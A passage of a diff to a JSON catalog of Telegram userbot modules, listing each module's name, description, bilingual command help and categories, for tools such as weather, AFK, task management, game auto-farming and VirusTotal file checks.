"VowelReplacer", - "description": "Replaces vowel letters with ё", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ + }, { - "vowelreplace": "Включить или отключить замену гласных на ё. Enable or disable vowel substitution for ё." - } - ], - "new_commands": [ + "cookoff": { + "ru_doc": "Остановить автофарминг", + "en_doc": "Stop auto-farming", + "doc": null + } + }, { - "vowelreplace": { - "ru_doc": "Включить или отключить замену гласных на ё.", - "en_doc": "Enable or disable vowel substitution for ё.", + "cookies": { + "ru_doc": "Вывод кол-ва коинов, добытых этим модулем", + "en_doc": "Output of the number of coins mined by this module", + "doc": null + } + }, + { + "me": { + "ru_doc": "Показывает ваш мешок", + "en_doc": "Shows your bag", + "doc": null + } + }, + { + "ckies": { + "ru_doc": "Помощь по модулю AutofarmCookies", + "en_doc": "Help with the AutofarmCookies module", "doc": null } } @@ -10047,9 +30685,9 @@ "Chat" ] }, - "C0dwiz/H.Modules/Article.py": { - "name": "ArticleMod", - "description": "Displays your article Criminal Code of the Russian Federation", + "C0dwiz/H.Modules/BirthdayTime.py": { + "name": "DaysToMyBirthday", + "description": "Counting down to your birthday", "meta": { "pic": null, "banner": null, @@ -10057,14 +30695,51 @@ }, "commands": [ { - "arccmd": "Отображается ваша статья Уголовного кодекса Российской Федерации Displays your article Criminal Code of the Russian Federation" + "btname": "Выставить таймер дней в ник (нестабильно) Set the timer of days in the nickname (unstable)" + }, + { + "bt": "Вывести таймер Display the timer" } ], "new_commands": [ { - "arc": { - "ru_doc": "Отображается ваша статья Уголовного кодекса Российской Федерации", - "en_doc": "Displays your article Criminal Code of the Russian Federation", + "btname": { + "ru_doc": "Выставить таймер дней в ник (нестабильно)", + "en_doc": "Set the timer of days in the nickname (unstable)", + "doc": null + } + }, + { + "bt": { + "ru_doc": "Вывести таймер", + "en_doc": "Display the timer", + "doc": null + } + } + ], + "category": [ + "Tools", + "Productivity" + ] + }, + "C0dwiz/H.Modules/face.py": { + "name": "face", + "description": "random face", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "rfacecmd": "Рандом kaomoji Random kaomoji" + } + ], + "new_commands": [ + { + "rface": { + "ru_doc": "Рандом kaomoji", + "en_doc": "Random kaomoji", "doc": null } } @@ -10074,9 +30749,9 @@ "Fun" ] }, - "C0dwiz/H.Modules/animals.py": { - "name": "animals", - "description": "Random cats and dogs", + "C0dwiz/H.Modules/HAFK.py": { + "name": "HAFK", + "description": null, "meta": { "pic": null, "banner": null, @@ -10084,101 +30759,44 @@ }, "commands": [ { - "fcatcmd": "Файлы случайных фотографий кошек Random photos of cats files" + "afk": "[reason / none] – Установить режим AFK [reason / none] – Set AFK mode globally" }, { - "fdogcmd": "Случайные фотографии собачьих файлов Random photos of dog files" + "afkhere": "[reason / none] – Установить режим AFK только в этом чате. [reason / none] – Set AFK mode in current chat only." }, { - "catcmd": "Случайные фотографии кошек Random photos of cats" + "unafk": "Выйти из режима AFK Exit AFK mode" }, { - "dogcmd": "Случайные фотографии собаки Random photos of dog" + "unafkhere": "Выйти из режима AFK в этом чате Exit AFK mode in this chat" } ], "new_commands": [ { - "fcat": { - "ru_doc": "Файлы случайных фотографий кошек", - "en_doc": "Random photos of cats files", + "afk": { + "ru_doc": "[reason / none] – Установить режим AFK", + "en_doc": "[reason / none] – Set AFK mode globally", "doc": null } }, { - "fdog": { - "ru_doc": "Случайные фотографии собачьих файлов", - "en_doc": "Random photos of dog files", + "afkhere": { + "ru_doc": "[reason / none] – Установить режим AFK только в этом чате.", + "en_doc": "[reason / none] – Set AFK mode in current chat only.", "doc": null } }, { - "cat": { - "ru_doc": "Случайные фотографии кошек", - "en_doc": "Random photos of cats", + "unafk": { + "ru_doc": "Выйти из режима AFK", + "en_doc": "Exit AFK mode", "doc": null } }, { - "dog": { - "ru_doc": "Случайные фотографии собаки", - "en_doc": "Random photos of dog", - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "C0dwiz/H.Modules/globalrestrict.py": { - "name": "GlobalRestrict", - "description": "Global mutation or ban", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "glban": "<реплай | юзер> [причина] [-s] - Забанить пользователя во всех чатах где ты админ <replay | user> [reason] [-s] - Ban the user in all chats where you are the admin" - }, - { - "glunban": "<реплай | юзер> [причина] [-s] - Разбанить пользователя во всех где ты админ <replay | user> [reason] [-s] - To unban the user in all where you are the admin" - }, - { - "glmute": "<реплай | юзер> [причина] [-s] - Замутить пользователя во всех чатах где ты админ <replay | user> [reason] [-s] - To hook up the user in all chats where you are the admin" - }, - { - "glunmute": "<реплай | юзер> [причина] [-s] - Размутит пользователя во всех где ты админ <replay | user> [reason] [-s] - Will confuse the user in all where you are the admin" - } - ], - "new_commands": [ - { - "glban": { - "ru_doc": "<реплай | юзер> [причина] [-s] - Забанить пользователя во всех чатах где ты админ", - "en_doc": "<replay | user> [reason] [-s] - Ban the user in all chats where you are the admin", - "doc": null - } - }, - { - "glunban": { - "ru_doc": "<реплай | юзер> [причина] [-s] - Разбанить пользователя во всех где ты админ", - "en_doc": "<replay | user> [reason] [-s] - To unban the user in all where you are the admin", - "doc": null - } - }, - { - "glmute": { - "ru_doc": "<реплай | юзер> [причина] [-s] - Замутить пользователя во всех чатах где ты админ", - "en_doc": "<replay | user> [reason] [-s] - To hook up the user in all chats where you are the admin", - "doc": null - } - }, - { - "glunmute": { - "ru_doc": "<реплай | юзер> [причина] [-s] - Размутит пользователя во всех где ты админ", - "en_doc": "<replay | user> [reason] [-s] - Will confuse the user in all where you are the admin", + "unafkhere": { + "ru_doc": "Выйти из режима AFK в этом чате", + "en_doc": "Exit AFK mode in this chat", "doc": null } } @@ -10188,6 +30806,215 @@ "Chat" ] }, + "C0dwiz/H.Modules/TelegramStatusCodes.py": { + "name": "TelegramStatusCodes", + "description": "Dictionary of telegram status codes", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "tgccmd": "<код состояния> - Получение информации о коде состояния <statuscode> - Get status code info" + }, + { + "tgcscmd": "Получите все коды статуса telegram Get all telegram status codes" + } + ], + "new_commands": [ + { + "tgc": { + "ru_doc": "<код состояния> - Получение информации о коде состояния", + "en_doc": "<statuscode> - Get status code info", + "doc": null + } + }, + { + "tgcs": { + "ru_doc": "Получите все коды статуса telegram", + "en_doc": "Get all telegram status codes", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/GigaChat.py": { + "name": "GigaChatMod", + "description": "Module for using GigaChat", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "giga": "Получите исчерпывающий ответ на свой вопрос Get GigaResponse to your question" + }, + { + "gigamodel": "Получить список моделей Get a list of models" + } + ], + "new_commands": [ + { + "giga": { + "ru_doc": "Получите исчерпывающий ответ на свой вопрос", + "en_doc": "Get GigaResponse to your question", + "doc": null + } + }, + { + "gigamodel": { + "ru_doc": "Получить список моделей", + "en_doc": "Get a list of models", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/InlineButton.py": { + "name": "InlineButtonMod", + "description": "Create inline button", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "crinl_inline_handler": "Создать inline кнопку\nНапример: @username_bot crinl Текст сообщения, Текст кнопки, Ссылка в кнопке Create an inline button\nexample: @username_bot crinl Message text, Button text, Link in the button" + } + ], + "new_commands": [ + { + "crinl_inline_handler": { + "ru_doc": "Создать inline кнопку\nНапример: @username_bot crinl Текст сообщения, Текст кнопки, Ссылка в кнопке", + "en_doc": "Create an inline button\nexample: @username_bot crinl Message text, Button text, Link in the button", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/Memes.py": { + "name": "MemesMod", + "description": "Random memes", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "memescmd": "" + } + ], + "new_commands": [ + { + "memes": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "C0dwiz/H.Modules/H.py": { + "name": "H", + "description": "H", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "h": "H H" + } + ], + "new_commands": [ + { + "h": { + "ru_doc": "H", + "en_doc": null, + "doc": "H" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "C0dwiz/H.Modules/WindowsKeys.py": { + "name": "WindowsKeys", + "description": "Provides you Windows activation keys", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "winkey": "Открывает выбор ключа для активации Windows Opens the Windows activation key selection" + } + ], + "new_commands": [ + { + "winkey": { + "ru_doc": "Открывает выбор ключа для активации Windows", + "en_doc": "Opens the Windows activation key selection", + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "C0dwiz/H.Modules/AniLibria.py": { + "name": "AniLibriaMod", + "description": "Searches and gives random agtme on the AniLibria database.", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "arandom": "Возвращает случайный тайтл из базы Returns a random title from the database" + } + ], + "new_commands": [ + { + "arandom": { + "ru_doc": "Возвращает случайный тайтл из базы", + "en_doc": "Returns a random title from the database", + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, "C0dwiz/H.Modules/hikkahost.py": { "name": "HikkahostMod", "description": "Hikkahost manager.", @@ -10235,9 +31062,9 @@ "Fun" ] }, - "C0dwiz/H.Modules/CryptoCurrency.py": { - "name": "CryptoCurrencyMod", - "description": "Module for displaying current cryptocurrency exchange rates.", + "C0dwiz/H.Modules/Video2GIF.py": { + "name": "Video2GIF", + "description": "Converts video to GIF", "meta": { "pic": null, "banner": null, @@ -10245,41 +31072,53 @@ }, "commands": [ { - "crypto": "Отображает текущий курс криптовалюты в рублях, долларах США и евро Displays the current cryptocurrency rate in RUB, USD, and EUR" + "gifc": "[reply | в одном сообщении с видео] — конвертирует видео в GIF. [reply | in one message with video] — Converts video to GIF." } ], "new_commands": [ { - "crypto": { - "ru_doc": "Отображает текущий курс криптовалюты в рублях, долларах США и евро", - "en_doc": "Displays the current cryptocurrency rate in RUB, USD, and EUR", + "gifc": { + "ru_doc": "[reply | в одном сообщении с видео] — конвертирует видео в GIF.", + "en_doc": "[reply | in one message with video] — Converts video to GIF.", + "doc": null + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "C0dwiz/H.Modules/ReplaceVowels.py": { + "name": "VowelReplacer", + "description": "Replaces vowel letters with ё", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "vowelreplace": "Включить или отключить замену гласных на ё. Enable or disable vowel substitution for ё." + } + ], + "new_commands": [ + { + "vowelreplace": { + "ru_doc": "Включить или отключить замену гласных на ё.", + "en_doc": "Enable or disable vowel substitution for ё.", "doc": null } } ], "category": [ "Tools", - "Media" + "Chat" ] }, - "C0dwiz/H.Modules/HModsLibrary.py": { - "name": "HModsLib", - "description": "Library required for most H:Mods modules.", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "C0dwiz/H.Modules/SafetyMod.py": { - "name": "SafetyMod", - "description": "generate random password", + "C0dwiz/H.Modules/TempChat.py": { + "name": "TempChatMod", + "description": "Creates a temporary private chat with a message forwarding restriction and adds the specified user to it.", "meta": { "pic": null, "banner": null, @@ -10287,23 +31126,286 @@ }, "commands": [ { - "password": "random password\n-n - numbers\n-s - symbols \n -l - letters Случайный пароль\n-n - цифры\n-s - символы \n -l - буквы Random password\n-n - numbers\n-s - symbols \n -l - letters" + "tmpchat": "Create temporary chat. Usage: .tmpchat [@user/reply] [time] Создает временный чат. Использование: .tmpchat [@user/reply] [time]" } ], "new_commands": [ { - "password": { - "ru_doc": "Случайный пароль\n-n - цифры\n-s - символы \n -l - буквы", - "en_doc": "Random password\n-n - numbers\n-s - symbols \n -l - letters", - "doc": "random password\n-n - numbers\n-s - symbols \n -l - letters" + "tmpchat": { + "ru_doc": "Создает временный чат. Использование: .tmpchat [@user/reply] [time]", + "en_doc": null, + "doc": "Create temporary chat. Usage: .tmpchat [@user/reply] [time]" } } ], "category": [ - "Security", + "Chat", "Tools" ] }, + "C0dwiz/H.Modules/Weather.py": { + "name": "Weather", + "description": "Advanced weather module with detailed information", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "weather": "Узнайте погоду для указанного города Get the weather for the specified city" + }, + { + "weatherset": "Установите город по умолчанию для определения погоды Set the default city for weather" + } + ], + "new_commands": [ + { + "weather": { + "ru_doc": "Узнайте погоду для указанного города", + "en_doc": "Get the weather for the specified city", + "doc": null + } + }, + { + "weatherset": { + "ru_doc": "Установите город по умолчанию для определения погоды", + "en_doc": "Set the default city for weather", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/Article.py": { + "name": "ArticleMod", + "description": "Displays your article Criminal Code of the Russian Federation", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "arccmd": "Отображается ваша статья Уголовного кодекса Российской Федерации Displays your article Criminal Code of the Russian Federation" + } + ], + "new_commands": [ + { + "arc": { + "ru_doc": "Отображается ваша статья Уголовного кодекса Российской Федерации", + "en_doc": "Displays your article Criminal Code of the Russian Federation", + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "C0dwiz/H.Modules/EnvsSH.py": { + "name": "EnvsMod", + "description": "Module for reuploading files to envs.sh", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "envcmd": "Reupload to envs.sh." + } + ], + "new_commands": [ + { + "env": { + "ru_doc": null, + "en_doc": null, + "doc": "Reupload to envs.sh." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "C0dwiz/H.Modules/SMAcrhiver.py": { + "name": "SMArchiver", + "description": "unloads all messages from Favorites", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "smdump": "выгружает все сообщения из Избранного / Saved Messages и собирает их в одном архиве. downloads all messages from Favorites / Saved Messages and collects them in one archive." + } + ], + "new_commands": [ + { + "smdump": { + "ru_doc": "выгружает все сообщения из Избранного / Saved Messages и собирает их в одном архиве.", + "en_doc": "downloads all messages from Favorites / Saved Messages and collects them in one archive.", + "doc": null + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "C0dwiz/H.Modules/jacques.py": { + "name": "JacquesMod", + "description": "Жаконизатор", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "ionicmd": "<реплай на сообщение/свой текст> <reply to the message/your own text>" + } + ], + "new_commands": [ + { + "ioni": { + "ru_doc": "<реплай на сообщение/свой текст>", + "en_doc": "<reply to the message/your own text>", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/ASCIIArt.py": { + "name": "ASCIIArtMod", + "description": "Converting images to ASCII art", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "cascii": "<реплай на изображение> сделать ascii art <replay on image> make ascii art" + } + ], + "new_commands": [ + { + "cascii": { + "ru_doc": "<реплай на изображение> сделать ascii art", + "en_doc": "<replay on image> make ascii art", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/shortener.py": { + "name": "Shortener", + "description": "Module for working with the api bit.ly", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "shortencmd": "Сократить ссылку через bit.ly Shorten the link via bit.ly" + }, + { + "statclcmd": "Посмотреть статистику ссылки через bit.ly View link statistics via bit.ly" + } + ], + "new_commands": [ + { + "shorten": { + "ru_doc": "Сократить ссылку через bit.ly", + "en_doc": "Shorten the link via bit.ly", + "doc": null + } + }, + { + "statcl": { + "ru_doc": "Посмотреть статистику ссылки через bit.ly", + "en_doc": "View link statistics via bit.ly", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/InlineHelper.py": { + "name": "InlineHelperMod", + "description": "Basic management of the UB in case only the inline works", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "terminal_inline_handler": "" + } + ], + "new_commands": [ + { + "terminal_inline_handler": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/PastebinAPI.py": { + "name": "PastebinAPIMod", + "description": "PastebinAPI", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "past": "Заливает код в Pastebin Uploads the code to Pastebin" + } + ], + "new_commands": [ + { + "past": { + "ru_doc": "Заливает код в Pastebin", + "en_doc": "Uploads the code to Pastebin", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, "C0dwiz/H.Modules/UserbotAvast.py": { "name": "UserbotAvast", "description": "A module for checking modules for security.", @@ -10331,6 +31433,117 @@ "Chat" ] }, + "C0dwiz/H.Modules/MooFarmRC1.py": { + "name": "AutoFarmbotMod", + "description": "Модуль для автофарма в \"Коровке\"!\nВ конфиге настройте: сhat_id и bot_id ->\nСинхронизируйте скин в меню ->\nЗарегистрируйтесь на Redis.io и ссылку добавьте в конфиг", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods and @Frost_Shard" + }, + "commands": [ + { + "fmoo": "Инлайн-меню управления автофармом" + }, + { + "auto_eating": "Автоматически кормит персонажа, если уровень еды ниже 70%" + }, + { + "auto_craft_txt": "Команда для автоматической работы авто-крафта" + }, + { + "auto_forest_txt": "Команда для автоматической работы авто-леса" + } + ], + "new_commands": [ + { + "fmoo": { + "ru_doc": null, + "en_doc": null, + "doc": "Инлайн-меню управления автофармом" + } + }, + { + "auto_eating": { + "ru_doc": null, + "en_doc": null, + "doc": "Автоматически кормит персонажа, если уровень еды ниже 70%" + } + }, + { + "auto_craft_txt": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда для автоматической работы авто-крафта" + } + }, + { + "auto_forest_txt": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда для автоматической работы авто-леса" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/Text_Sticker.py": { + "name": "TextinstickerMod", + "description": "Text to sticker", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "stcmd": "<название цвета> [текст] <color name> [text]" + } + ], + "new_commands": [ + { + "st": { + "ru_doc": "<название цвета> [текст]", + "en_doc": "<color name> [text]", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "C0dwiz/H.Modules/VirusTotal.py": { + "name": "VirusTotalMod", + "description": "Checks files for viruses using VirusTotal.", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "vt": "<ответ на файл> - Проверяет файлы на наличие вирусов с использованием VirusTotal <file response> - Checks files for viruses using VirusTotal" + } + ], + "new_commands": [ + { + "vt": { + "ru_doc": "<ответ на файл> - Проверяет файлы на наличие вирусов с использованием VirusTotal", + "en_doc": "<file response> - Checks files for viruses using VirusTotal", + "doc": null + } + } + ], + "category": [ + "Security", + "Chat" + ] + }, "C0dwiz/H.Modules/search.py": { "name": "Search", "description": "Поисковик", @@ -10448,9 +31661,9 @@ "Chat" ] }, - "C0dwiz/H.Modules/H.py": { - "name": "H", - "description": "H", + "C0dwiz/H.Modules/TaskManager.py": { + "name": "TaskManagerModule", + "description": "Manages tasks with Telegram commands and inline keyboards.", "meta": { "pic": null, "banner": null, @@ -10458,125 +31671,64 @@ }, "commands": [ { - "h": "H H" + "taskadd": "Добавить задачу:\n.taskadd <описание> | <дата (необязательно)> Add task:\n.taskadd <description> | <date (opt)>" + }, + { + "taskremove": "[index] - удалить задачу [index] - remove task" + }, + { + "taskcomplete": "[index] - Завершите задачу [index] - Complete task" + }, + { + "tasklist": "Список задач List tasks" + }, + { + "taskinfo": "[index] - Посмотреть информацию о задаче [index] - Show task info" + }, + { + "taskclear": "Удалить все задачи Clear all tasks" } ], "new_commands": [ { - "h": { - "ru_doc": "H", - "en_doc": null, - "doc": "H" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "C0dwiz/H.Modules/IrisSimpleMod.py": { - "name": "IrisSimpleMod", - "description": "Модуль для базового взаимодействия с Ирисом", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "bag": "Check bag Проверить мешок" - }, - { - "farm": "Farm iris-coins Зафармить ирис-коины" - }, - { - "irisstats": "Display user stats Вывести анкету" - }, - { - "irisping": "Display bot stats Вывести статистику ботов" - } - ], - "new_commands": [ - { - "bag": { - "ru_doc": "Проверить мешок", - "en_doc": null, - "doc": "Check bag" - } - }, - { - "farm": { - "ru_doc": "Зафармить ирис-коины", - "en_doc": null, - "doc": "Farm iris-coins" - } - }, - { - "irisstats": { - "ru_doc": "Вывести анкету", - "en_doc": null, - "doc": "Display user stats" - } - }, - { - "irisping": { - "ru_doc": "Вывести статистику ботов", - "en_doc": null, - "doc": "Display bot stats" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/face.py": { - "name": "face", - "description": "random face", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "rfacecmd": "Рандом kaomoji Random kaomoji" - } - ], - "new_commands": [ - { - "rface": { - "ru_doc": "Рандом kaomoji", - "en_doc": "Random kaomoji", + "taskadd": { + "ru_doc": "Добавить задачу:\n.taskadd <описание> | <дата (необязательно)>", + "en_doc": "Add task:\n.taskadd <description> | <date (opt)>", "doc": null } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "C0dwiz/H.Modules/VoiceDL.py": { - "name": "VoiceDL", - "description": "Voice Downloader module", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ + }, { - "voicedl": " [reply] — загружает выбранное голосовое сообщение в виде файла mp3 и кидает его в чат. [reply] — downloads the selected voice message as an MP3 file and sends it in the chat." - } - ], - "new_commands": [ + "taskremove": { + "ru_doc": "[index] - удалить задачу", + "en_doc": "[index] - remove task", + "doc": null + } + }, { - "voicedl": { - "ru_doc": " [reply] — загружает выбранное голосовое сообщение в виде файла mp3 и кидает его в чат.", - "en_doc": " [reply] — downloads the selected voice message as an MP3 file and sends it in the chat.", + "taskcomplete": { + "ru_doc": "[index] - Завершите задачу", + "en_doc": "[index] - Complete task", + "doc": null + } + }, + { + "tasklist": { + "ru_doc": "Список задач", + "en_doc": "List tasks", + "doc": null + } + }, + { + "taskinfo": { + "ru_doc": "[index] - Посмотреть информацию о задаче", + "en_doc": "[index] - Show task info", + "doc": null + } + }, + { + "taskclear": { + "ru_doc": "Удалить все задачи", + "en_doc": "Clear all tasks", "doc": null } } @@ -10586,9 +31738,9 @@ "Tools" ] }, - "C0dwiz/H.Modules/GigaChat.py": { - "name": "GigaChatMod", - "description": "Module for using GigaChat", + "C0dwiz/H.Modules/globalrestrict.py": { + "name": "GlobalRestrict", + "description": "Global mutation or ban", "meta": { "pic": null, "banner": null, @@ -10596,24 +31748,44 @@ }, "commands": [ { - "giga": "Получите исчерпывающий ответ на свой вопрос Get GigaResponse to your question" + "glban": "<реплай | юзер> [причина] [-s] - Забанить пользователя во всех чатах где ты админ <replay | user> [reason] [-s] - Ban the user in all chats where you are the admin" }, { - "gigamodel": "Получить список моделей Get a list of models" + "glunban": "<реплай | юзер> [причина] [-s] - Разбанить пользователя во всех где ты админ <replay | user> [reason] [-s] - To unban the user in all where you are the admin" + }, + { + "glmute": "<реплай | юзер> [причина] [-s] - Замутить пользователя во всех чатах где ты админ <replay | user> [reason] [-s] - To hook up the user in all chats where you are the admin" + }, + { + "glunmute": "<реплай | юзер> [причина] [-s] - Размутит пользователя во всех где ты админ <replay | user> [reason] [-s] - Will confuse the user in all where you are the admin" } ], "new_commands": [ { - "giga": { - "ru_doc": "Получите исчерпывающий ответ на свой вопрос", - "en_doc": "Get GigaResponse to your question", + "glban": { + "ru_doc": "<реплай | юзер> [причина] [-s] - Забанить пользователя во всех чатах где ты админ", + "en_doc": "<replay | user> [reason] [-s] - Ban the user in all chats where you are the admin", "doc": null } }, { - "gigamodel": { - "ru_doc": "Получить список моделей", - "en_doc": "Get a list of models", + "glunban": { + "ru_doc": "<реплай | юзер> [причина] [-s] - Разбанить пользователя во всех где ты админ", + "en_doc": "<replay | user> [reason] [-s] - To unban the user in all where you are the admin", + "doc": null + } + }, + { + "glmute": { + "ru_doc": "<реплай | юзер> [причина] [-s] - Замутить пользователя во всех чатах где ты админ", + "en_doc": "<replay | user> [reason] [-s] - To hook up the user in all chats where you are the admin", + "doc": null + } + }, + { + "glunmute": { + "ru_doc": "<реплай | юзер> [причина] [-s] - Размутит пользователя во всех где ты админ", + "en_doc": "<replay | user> [reason] [-s] - Will confuse the user in all where you are the admin", "doc": null } } @@ -10623,60 +31795,6 @@ "Chat" ] }, - "C0dwiz/H.Modules/Text_Sticker.py": { - "name": "TextinstickerMod", - "description": "Text to sticker", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "stcmd": "<название цвета> [текст] <color name> [text]" - } - ], - "new_commands": [ - { - "st": { - "ru_doc": "<название цвета> [текст]", - "en_doc": "<color name> [text]", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/WindowsKeys.py": { - "name": "WindowsKeys", - "description": "Provides you Windows activation keys", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "winkey": "Открывает выбор ключа для активации Windows Opens the Windows activation key selection" - } - ], - "new_commands": [ - { - "winkey": { - "ru_doc": "Открывает выбор ключа для активации Windows", - "en_doc": "Opens the Windows activation key selection", - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, "C0dwiz/H.Modules/TikTokDownloader.py": { "name": "TikTokDownloader", "description": "TikTok Downloader module", @@ -10714,43 +31832,6 @@ "Tools" ] }, - "C0dwiz/H.Modules/BirthdayTime.py": { - "name": "DaysToMyBirthday", - "description": "Counting down to your birthday", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "btname": "Выставить таймер дней в ник (нестабильно) Set the timer of days in the nickname (unstable)" - }, - { - "bt": "Вывести таймер Display the timer" - } - ], - "new_commands": [ - { - "btname": { - "ru_doc": "Выставить таймер дней в ник (нестабильно)", - "en_doc": "Set the timer of days in the nickname (unstable)", - "doc": null - } - }, - { - "bt": { - "ru_doc": "Вывести таймер", - "en_doc": "Display the timer", - "doc": null - } - } - ], - "category": [ - "Tools", - "Productivity" - ] - }, "C0dwiz/H.Modules/InlineCoin.py": { "name": "CoinSexMod", "description": "Mini game heads or tails", @@ -10778,9 +31859,9 @@ "Fun" ] }, - "C0dwiz/H.Modules/InlineButton.py": { - "name": "InlineButtonMod", - "description": "Create inline button", + "C0dwiz/H.Modules/AccountData.py": { + "name": "AccountData", + "description": "Find out the approximate date of registration of the telegram account", "meta": { "pic": null, "banner": null, @@ -10788,41 +31869,14 @@ }, "commands": [ { - "crinl_inline_handler": "Создать inline кнопку\nНапример: @username_bot crinl Текст сообщения, Текст кнопки, Ссылка в кнопке Create an inline button\nexample: @username_bot crinl Message text, Button text, Link in the button" + "accdata": "Узнать примерную дату регистрации аккаунта телеграмм Find out the approximate date of registration of the telegram account" } ], "new_commands": [ { - "crinl_inline_handler": { - "ru_doc": "Создать inline кнопку\nНапример: @username_bot crinl Текст сообщения, Текст кнопки, Ссылка в кнопке", - "en_doc": "Create an inline button\nexample: @username_bot crinl Message text, Button text, Link in the button", - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/AniLibria.py": { - "name": "AniLibriaMod", - "description": "Searches and gives random agtme on the AniLibria database.", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "arandom": "Возвращает случайный тайтл из базы Returns a random title from the database" - } - ], - "new_commands": [ - { - "arandom": { - "ru_doc": "Возвращает случайный тайтл из базы", - "en_doc": "Returns a random title from the database", + "accdata": { + "ru_doc": "Узнать примерную дату регистрации аккаунта телеграмм", + "en_doc": "Find out the approximate date of registration of the telegram account", "doc": null } } @@ -10832,6 +31886,33 @@ "Fun" ] }, + "C0dwiz/H.Modules/CheckSpamBan.py": { + "name": "SpamBanCheckMod", + "description": "Checks spam ban for your account.", + "meta": { + "pic": null, + "banner": null, + "developer": "@hikka_mods" + }, + "commands": [ + { + "spambot": "Проверяет вашу учетную запись на спам-бан с помощью бота @SpamBot Checks your account for spam ban via @SpamBot bot" + } + ], + "new_commands": [ + { + "spambot": { + "ru_doc": "Проверяет вашу учетную запись на спам-бан с помощью бота @SpamBot", + "en_doc": "Checks your account for spam ban via @SpamBot bot", + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, "C0dwiz/H.Modules/Music.py": { "name": "MusicMod", "description": null, @@ -10859,9 +31940,9 @@ "Chat" ] }, - "C0dwiz/H.Modules/TelegramStatusCodes.py": { - "name": "TelegramStatusCodes", - "description": "Dictionary of telegram status codes", + "C0dwiz/H.Modules/SafetyMod.py": { + "name": "SafetyMod", + "description": "generate random password", "meta": 